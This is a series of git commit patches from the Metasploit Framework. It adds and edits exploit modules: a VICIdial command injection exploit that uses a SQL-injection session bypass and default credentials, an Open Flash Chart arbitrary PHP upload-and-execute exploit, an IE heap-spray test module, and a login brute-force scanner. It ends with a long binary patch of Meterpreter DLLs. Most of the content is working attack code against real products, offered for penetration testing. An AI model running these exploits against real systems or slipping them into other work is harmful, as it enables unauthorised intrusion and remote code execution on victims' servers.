+ +end From a554784d59c4fdb98d28bc432c8be84ab6dbcca1 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 23 Oct 2013 16:00:43 -0500 Subject: [PATCH 326/409] Add @wchen-r7's test module to the test dir See the referenced gist on #2545 --- test/modules/exploits/test/js_tester.rb | 102 ++++++++++++++++++++++++ 1 file changed, 102 insertions(+) create mode 100644 test/modules/exploits/test/js_tester.rb diff --git a/test/modules/exploits/test/js_tester.rb b/test/modules/exploits/test/js_tester.rb new file mode 100644 index 0000000000..ce33c4d240 --- /dev/null +++ b/test/modules/exploits/test/js_tester.rb @@ -0,0 +1,102 @@ +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => "IE test", + 'Description' => %q{ + Test + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'References' => [ [ 'URL', 'http://metasploit.com' ] ], + 'Platform' => 'win', + 'Targets' => [ [ 'Automatic', {} ] ], + 'Payload' => + { + 'BadChars' => "\x00", + 'StackAdjustment' => -3500 + }, + 'Privileged' => false, + 'DisclosureDate' => "Apr 1 2013", + 'DefaultTarget' => 0)) + end + + def test_base64 + %Q| + #{js_base64} + + var s = "hello, world!!"; + document.write(Base64.encode(s)); + | + end + + def test_ajax_download + %Q| + #{js_ajax_download} + + ajax_download({path:"/test.bin"}); + | + end + + def test_mstime_malloc + %Q| + #{js_mstime_malloc} + + shellcode = unescape("%u4141%u4141%u4141%u4141%u4141"); + offset = 3; + s = 0x58; + objId = "myanim"; + mstime_malloc({shellcode:shellcode,offset:offset,heapBlockSize:s,objId:oId}); + | + end + + def test_property_spray + %Q| + #{js_property_spray} + + var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444"); + sprayHeap({shellcode:s}); + | + end + + def test_heap_spray + %Q| + #{js_heap_spray} + + var s = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444"); + sprayHeap(s, 0x0c0c0c0c, 0x40000); + | + end + + + def on_request_uri(cli, request) + # Change the following to a specific function + js = test_base64 + + + html = %Q| + + + + + + + + + + + + + | + + send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + end + +end From ec708610508a7e6abd93bfc2275941c1485b1687 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Wed, 23 Oct 2013 16:06:19 -0500 Subject: [PATCH 327/409] Msftidy for test modules? Why not --- test/modules/exploits/test/js_tester.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/test/modules/exploits/test/js_tester.rb b/test/modules/exploits/test/js_tester.rb index ce33c4d240..3483c27d10 100644 --- a/test/modules/exploits/test/js_tester.rb +++ b/test/modules/exploits/test/js_tester.rb @@ -7,9 +7,9 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "IE test", + 'Name' => "IE Test for Javascript Libs", 'Description' => %q{ - Test + Tests Javascript hotness }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], @@ -100,3 +100,4 @@ class Metasploit3 < Msf::Exploit::Remote end end + From 255cd18868e5fec10f3681d34289a05c2fed0e56 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 23 Oct 2013 16:08:40 -0500 Subject: [PATCH 328/409] Use peer helper --- .../auxiliary/scanner/http/hp_imc_som_file_download.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb index 489b243587..43ab32f55d 100644 --- a/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb +++ b/modules/auxiliary/scanner/http/hp_imc_som_file_download.rb @@ -63,11 +63,11 @@ class Metasploit3 < Msf::Auxiliary def run_host(ip) unless is_imc_som? - vprint_error("#{rhost}:#{rport} - HP iMC with the SOM component not found") + vprint_error("#{peer} - HP iMC with the SOM component not found") return end - vprint_status("#{rhost}:#{rport} - Sending request...") + vprint_status("#{peer} - Sending request...") res = send_request_cgi({ 'uri' => normalize_uri("servicedesk", "servicedesk", "fileDownload"), 'method' => 'GET', @@ -89,9 +89,9 @@ class Metasploit3 < Msf::Auxiliary contents, fname ) - print_good("#{rhost}:#{rport} - File saved in: #{path}") + print_good("#{peer} - File saved in: #{path}") else - vprint_error("#{rhost}:#{rport} - Failed to retrieve file") + vprint_error("#{peer} - Failed to retrieve file") return end end From ecbbd7bb4b9d841f55eded1cfb6b84b4d70ba8c5 Mon Sep 17 00:00:00 2001 From: AverageSecurityGuy Date: Wed, 23 Oct 2013 20:59:27 -0400 Subject: [PATCH 329/409] Ran resplat.rb and retab.rb. Fixed msftidy issues. --- .../http/vicidial_manager_send_cmd_exec.rb | 190 +++++++++--------- 1 file changed, 95 insertions(+), 95 deletions(-) diff --git a/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb b/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb index 305a0d8562..848d5000c2 100755 --- a/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb @@ -6,109 +6,109 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = ExcellentRanking - include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpClient - def initialize(info = {}) - super(update_info(info, - 'Name' => 'VICIdial Manager Send OS Command Injection', - 'Description' => %q{ - The file agc/manager_send.php in the VICIdial web application uses - unsanitized user input as part of a command that is executed using the PHP - passthru() function. A valid username, password and session are needed to access - the injection point. Fortunately, VICIdial has two built-in accounts with default - passwords and the manager_send.php file has a SQL injection vulnerability that can - be used to bypass the session check as long as at least one session has been - created at some point in time. The results of the injected command are returned - as part of the response from the web server. Affected versions include 2.7RC1, - 2.7, and 2.8-403a. Other versions are likely affected as well. The default - credentials used by Vicidial are VDCL/donotedit and VDAD/donotedit. - }, - 'Author' => - [ - 'Adam Caudill ', # Vulnerability discovery - 'AverageSecurityGuy ' # Metasploit Module - ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'URL', 'http://www.openwall.com/lists/oss-security/2013/10/23/10' ] - ], - 'DisclosureDate' => 'Oct 23 2013', - 'Privileged' => true, - 'Platform' => ['linux','unix'], - 'Payload' => - { - 'DisableNops' => true - }, - 'Targets' => - [ - [ 'CMD', - { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' - } - ], - ], - 'DefaultTarget' => 0 - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VICIdial Manager Send OS Command Injection', + 'Description' => %q{ + The file agc/manager_send.php in the VICIdial web application uses + unsanitized user input as part of a command that is executed using the PHP + passthru() function. A valid username, password and session are needed to access + the injection point. Fortunately, VICIdial has two built-in accounts with default + passwords and the manager_send.php file has a SQL injection vulnerability that can + be used to bypass the session check as long as at least one session has been + created at some point in time. The results of the injected command are returned + as part of the response from the web server. Affected versions include 2.7RC1, + 2.7, and 2.8-403a. Other versions are likely affected as well. The default + credentials used by Vicidial are VDCL/donotedit and VDAD/donotedit. + }, + 'Author' => + [ + 'Adam Caudill ', # Vulnerability discovery + 'AverageSecurityGuy ' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.openwall.com/lists/oss-security/2013/10/23/10' ] + ], + 'DisclosureDate' => 'Oct 23 2013', + 'Privileged' => true, + 'Platform' => ['linux','unix'], + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + [ 'CMD', + { + 'Arch' => ARCH_CMD, + 'Platform' => 'unix' + } + ], + ], + 'DefaultTarget' => 0 + )) - register_options( - [ - OptString.new('USERNAME', [true, 'VICIdial Username', 'VDCL']), - OptString.new('PASSWORD', [true, 'VICIdial Password', 'donotedit']) - ], self.class) - end + register_options( + [ + OptString.new('USERNAME', [true, 'VICIdial Username', 'VDCL']), + OptString.new('PASSWORD', [true, 'VICIdial Password', 'donotedit']) + ], self.class) + end - def request(cmd) - begin - res = send_request_cgi({ - 'uri' => '/agc/manager_send.php', - 'method' => 'GET', - 'vars_get' => { - "enable_sipsak_messages" => "1", - "allow_sipsak_messages" => "1", - "protocol" => "sip", - "ACTION" => "OriginateVDRelogin", - "session_name" => rand_text_alpha(12), # Random session name - "server_ip" => "' OR '1' = '1", # SQL Injection to validate the session - "extension" => ";#{cmd};", - "user" => datastore['USERNAME'], - "pass" => datastore['PASSWORD'] - } - }) + def request(cmd) + begin + res = send_request_cgi({ + 'uri' => '/agc/manager_send.php', + 'method' => 'GET', + 'vars_get' => { + "enable_sipsak_messages" => "1", + "allow_sipsak_messages" => "1", + "protocol" => "sip", + "ACTION" => "OriginateVDRelogin", + "session_name" => rand_text_alpha(12), # Random session name + "server_ip" => "' OR '1' = '1", # SQL Injection to validate the session + "extension" => ";#{cmd};", + "user" => datastore['USERNAME'], + "pass" => datastore['PASSWORD'] + } + }) - if res.nil? or res.code == 404 - vprint_error("#{rhost}:#{rport} - No response or page not found.") - return nil - end + if res.nil? or res.code == 404 + vprint_error("#{rhost}:#{rport} - No response or page not found.") + return nil + end - if res.body =~ /Invalid Username\/Password/ - vprint_error("#{rhost}:#{rport} - Invalid Username or Password.") - return nil - end + if res.body =~ /Invalid Username\/Password/ + vprint_error("#{rhost}:#{rport} - Invalid Username or Password.") + return nil + end - return res - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return nil - end - end + return res + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return nil + end + end - def check - resp = request('ls -a .') - - vprint_line(resp.body) - if resp.body =~ /\.\n\.\.\n/m - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Detected - end - end + def check + resp = request('ls -a .') - def exploit - request("#{payload.encode}") - end + vprint_line(resp.body) + if resp.body =~ /\.\n\.\.\n/m + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Detected + end + end + + def exploit + request("#{payload.encode}") + end end From 8a5d4d45b447cc98af8e366b32e8b1ee5cd241c2 Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 24 Oct 2013 22:46:41 +1030 Subject: [PATCH 330/409] Add Open Flash Chart v2 Arbitrary File Upload exploit --- .../webapp/open_flash_chart_upload_exec.rb | 157 ++++++++++++++++++ 1 file changed, 157 insertions(+) create mode 100644 modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb diff --git a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb new file mode 100644 index 0000000000..cedb5cf4d9 --- /dev/null +++ b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Open Flash Chart v2 Arbitrary File Upload", + 'Description' => %q{ + This module exploits a file upload vulnerability found in Open Flash + Chart version 2. Attackers can abuse the 'ofc_upload_image.php' file + in order to upload and execute malicious PHP files. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Braeden Thomas', # Initial discovery + Piwik PoC + 'Gjoko Krstic ', # OpenEMR PoC + 'Halim Cruzito', # zonPHP PoC + 'Brendan Coles ' # Metasploit + ], + 'References' => + [ + ['BID', '37314'], + ['CVE', '2009-4140'], + ['OSVDB', '59051'], + ['EDB', '10532'] + ], + 'Payload' => + { + 'Space' => 8190, # Just a big value, injection on HTTP POST + 'DisableNops' => true, + 'BadChars' => "\x00" + }, + 'Arch' => ARCH_PHP, + 'Platform' => 'php', + 'Targets' => + [ + # Tested on: + # * open-flash-chart v2-Lug-Wyrm-Charmer + # set TARGETURI /php-ofc-library/ + # * open-flash-chart v2-beta-1 + # set TARGETURI /php-ofc-library/ + # * zonPHP v2.25 + # set TARGETURI /zonPHPv225/ofc/ + # * Piwik v0.4.3 + # set TARGETURI /piwik/libs/open-flash-chart/php-ofc-library/ + # * OpenEMR v4.1.1 + # set TARGETURI /openemr-4.1.1/library/openflashchart/php-ofc-library/ + [ 'Generic (PHP Payload)', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Dec 14 2009', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Open Flash Chart', '/php-ofc-library/']) + ], self.class) + end + + # + # Clean up + # + def on_new_session(client) + print_warning("#{peer} - Deleting #{@fname}") + if client.type == "meterpreter" + client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") + client.fs.file.rm("#{@fname}") + else + client.shell_command_token("rm #{@fname}") + end + end + + # + # Check for ofc_upload_image.php + # + def check + print_status("#{peer} - Sending check") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "ofc_upload_image.php"), + }) + if not res + print_error("#{peer} - Connection timed out") + return Exploit::CheckCode::Unknown + elsif res.code.to_i == 404 + print_error("#{peer} - No ofc_upload_image.php found") + elsif res and res.code == 200 and res.body =~ /Saving your image to/ + vprint_status("#{peer} - Found ofc_upload_image.php") + return Exploit::CheckCode::Detected + end + return Exploit::CheckCode::Safe + end + + def exploit + + # Upload + @fname = "#{rand_text_alphanumeric(rand(10)+6)}.php" + print_status("#{peer} - Uploading '#{@fname}' (#{payload.encoded.length} bytes)...") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'ofc_upload_image.php'), + 'headers' => { 'Content-Type' => nil }, + 'vars_get' => { 'name' => "#{@fname}" }, + 'data' => "" + }) + if not res + fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") + elsif res.code.to_i == 404 + fail_with(Failure::NotFound, "#{peer} - No ofc_upload_image.php found") + elsif res.body =~ /can't write file/ + fail_with(Failure::Unknown, "#{peer} - Unable to write '#{@fname}'") + elsif res.body =~ /Saving your image to: (.+)#{@fname}/ + path = $1 + print_status("#{peer} - Executing '#{path}#{@fname}'") + else + fail_with(Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!") + end + + # Execute + res = send_request_raw({ + 'uri' => normalize_uri(target_uri.path, path, @fname) + }) + if res and res.code == 404 + fail_with(Failure::NotFound, "#{peer} - Not found: #{@fname}") + end + register_files_for_cleanup(@fname) + end +end + +# +# Source +# +=begin ofc_upload_image.php +20-// default path for the image to be stored // +21-$default_path = '../tmp-upload-images/'; + +23-if (!file_exists($default_path)) mkdir($default_path, 0777, true); + +25-// full path to the saved image including filename // +26-$destination = $default_path . basename( $_GET[ 'name' ] ); + +28-echo 'Saving your image to: '. $destination; + +39-$jfh = fopen($destination, 'w') or die("can't open file"); +40-fwrite($jfh, $HTTP_RAW_POST_DATA); +41-fclose($jfh); +=end From 110daa6e96d7b45110d938363e6b43086ee64ee1 Mon Sep 17 00:00:00 2001 From: AverageSecurityGuy Date: Thu, 24 Oct 2013 09:12:37 -0400 Subject: [PATCH 331/409] Check for nil response from request in check method. --- .../multi/http/vicidial_manager_send_cmd_exec.rb | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb b/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb index 848d5000c2..b6cc4eb9cf 100755 --- a/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb +++ b/modules/exploits/multi/http/vicidial_manager_send_cmd_exec.rb @@ -99,11 +99,16 @@ class Metasploit3 < Msf::Exploit::Remote def check resp = request('ls -a .') - vprint_line(resp.body) - if resp.body =~ /\.\n\.\.\n/m - return Exploit::CheckCode::Vulnerable + if resp.nil? + vprint_error("Check was unsuccessful") + return Exploit::CheckCode::Unknown else - return Exploit::CheckCode::Detected + vprint_line(resp.body) + if resp.body =~ /\.\n\.\.\n/m + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Detected + end end end From 6f605fb0093fd39fe3598a1efde970948046ff33 Mon Sep 17 00:00:00 2001 From: ethicalhack3r Date: Thu, 24 Oct 2013 16:33:26 +0200 Subject: [PATCH 332/409] Typo --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index dc0d098bff..bad2610e41 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -989,7 +989,7 @@ class Core def cmd_load_help print_line "Usage: load [var=val var=val ...]" print_line - print_line "Loads a plugin from the supplied path. If path is not absolute, fist looks" + print_line "Loads a plugin from the supplied path. If path is not absolute, first looks" print_line "in the user's plugin directory (#{Msf::Config.user_plugin_directory}) then" print_line "in the framework root plugin directory (#{Msf::Config.plugin_directory})." print_line "The optional var=val options are custom parameters that can be passed to plugins." From 2ef33aabe7001a600c5d142a9dcd82b7f584ca55 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 24 Oct 2013 10:15:28 -0500 Subject: [PATCH 333/409] Clean open_flash_chart_upload_exec --- .../webapp/open_flash_chart_upload_exec.rb | 18 +++--------------- 1 file changed, 3 insertions(+), 15 deletions(-) diff --git a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb index cedb5cf4d9..65916cc599 100644 --- a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb +++ b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb @@ -67,19 +67,6 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - # - # Clean up - # - def on_new_session(client) - print_warning("#{peer} - Deleting #{@fname}") - if client.type == "meterpreter" - client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") - client.fs.file.rm("#{@fname}") - else - client.shell_command_token("rm #{@fname}") - end - end - # # Check for ofc_upload_image.php # @@ -109,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ofc_upload_image.php'), - 'headers' => { 'Content-Type' => nil }, + 'ctype' => "", 'vars_get' => { 'name' => "#{@fname}" }, 'data' => "" }) @@ -121,6 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Failure::Unknown, "#{peer} - Unable to write '#{@fname}'") elsif res.body =~ /Saving your image to: (.+)#{@fname}/ path = $1 + register_files_for_cleanup(@fname) print_status("#{peer} - Executing '#{path}#{@fname}'") else fail_with(Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!") @@ -133,7 +121,7 @@ class Metasploit3 < Msf::Exploit::Remote if res and res.code == 404 fail_with(Failure::NotFound, "#{peer} - Not found: #{@fname}") end - register_files_for_cleanup(@fname) + end end From b589e9aa6e05d95b8fc0a6f1eed1c1c44328d512 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 24 Oct 2013 10:45:02 -0500 Subject: [PATCH 334/409] Use the peer method --- .../scanner/http/radware_appdirector_enum.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb index d7284d8b2b..f1dc0f08a8 100644 --- a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb +++ b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary return end - print_status("#{rhost}:#{rport} - Starting login brute force...") + print_status("#{peer} - Starting login brute force...") each_user_pass do |user, pass| do_login(user, pass) end @@ -63,15 +63,15 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET' }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + vprint_error("#{peer} - HTTP Connection Failed, Aborting") return false end if (res and res.headers['Server'] and res.headers['Server'].include?("Radware-web-server")) - vprint_good("#{rhost}:#{rport} - Running Radware portal...") + vprint_good("#{peer} - Running Radware portal...") return true else - vprint_error("#{rhost}:#{rport} - Application is not Radware. Module will not continue.") + vprint_error("#{peer} - Application is not Radware. Module will not continue.") return false end end @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary # def do_login(user, pass) - vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}") begin res = send_request_cgi( { @@ -91,13 +91,13 @@ class Metasploit3 < Msf::Auxiliary }) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE - vprint_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + vprint_error("#{peer} - HTTP Connection Failed, Aborting") return :abort end if (res and res.code == 302 and res.headers['Location'].include?('redirectId')) - print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") report_hash = { :host => rhost, @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Auxiliary return :next_user else - vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") end end From 1673b66cbe4d87d022b80ef1316991ba68255a06 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 24 Oct 2013 10:50:14 -0500 Subject: [PATCH 335/409] Delete some white lines --- modules/auxiliary/scanner/http/radware_appdirector_enum.rb | 5 ----- 1 file changed, 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb index f1dc0f08a8..57c3c43ddd 100644 --- a/modules/auxiliary/scanner/http/radware_appdirector_enum.rb +++ b/modules/auxiliary/scanner/http/radware_appdirector_enum.rb @@ -89,16 +89,13 @@ class Metasploit3 < Msf::Auxiliary 'method' => 'GET', 'authorization' => basic_auth(user,pass) }) - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE vprint_error("#{peer} - HTTP Connection Failed, Aborting") return :abort - end if (res and res.code == 302 and res.headers['Location'].include?('redirectId')) print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { :host => rhost, :port => rport, @@ -108,10 +105,8 @@ class Metasploit3 < Msf::Auxiliary :active => true, :type => 'password' } - report_auth_info(report_hash) return :next_user - else vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") end From 27739a0351dab0868983f1951125d1084723b17e Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 24 Oct 2013 15:11:56 -0500 Subject: [PATCH 336/409] Meterpreter bins after Meterpreter PR 32 Protects against potential BOFs due to strcpy usage. These binaries were built against meterpreter master after https://github.com/rapid7/meterpreter/pull/32 landed. The CI tests can be seen here: https://ci.metasploit.com/view/Meterpreter/job/MeterpreterWin/75/ Note, this commit is signed. Your merge commit should be signed, too, so people can be assured that nobody is backdooring Meterpreter on the sly. --- data/meterpreter/common.lib | Bin 0 -> 568936 bytes data/meterpreter/elevator.x64.dll | Bin 77312 -> 77312 bytes data/meterpreter/elevator.x86.dll | Bin 68608 -> 68608 bytes data/meterpreter/ext_server_espia.x64.dll | Bin 202752 -> 202752 bytes data/meterpreter/ext_server_espia.x86.dll | Bin 204800 -> 204800 bytes data/meterpreter/ext_server_incognito.x64.dll | Bin 90112 -> 89600 bytes data/meterpreter/ext_server_incognito.x86.dll | Bin 75776 -> 75776 bytes .../meterpreter/ext_server_lanattacks.x64.dll | Bin 228352 -> 228352 bytes .../meterpreter/ext_server_lanattacks.x86.dll | Bin 186368 -> 186368 bytes data/meterpreter/ext_server_mimikatz.x64.dll | Bin 545792 -> 545792 bytes data/meterpreter/ext_server_mimikatz.x86.dll | Bin 414208 -> 414208 bytes data/meterpreter/ext_server_priv.x64.dll | Bin 121856 -> 121856 bytes data/meterpreter/ext_server_priv.x86.dll | Bin 105984 -> 105984 bytes data/meterpreter/ext_server_stdapi.x64.dll | Bin 406016 -> 406016 bytes data/meterpreter/ext_server_stdapi.x86.dll | Bin 377344 -> 376832 bytes data/meterpreter/metsrv.x64.dll | Bin 970240 -> 970240 bytes data/meterpreter/metsrv.x86.dll | Bin 770048 -> 770048 bytes data/meterpreter/screenshot.x64.dll | Bin 202240 -> 202240 bytes data/meterpreter/screenshot.x86.dll | Bin 203776 -> 203776 bytes 19 files changed, 0 insertions(+), 0 deletions(-) create mode 100755 data/meterpreter/common.lib diff --git a/data/meterpreter/common.lib b/data/meterpreter/common.lib new file mode 100755 index 0000000000000000000000000000000000000000..75b5eb755b2802b9aaee50e818a65b9db495051b GIT binary patch literal 568936 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 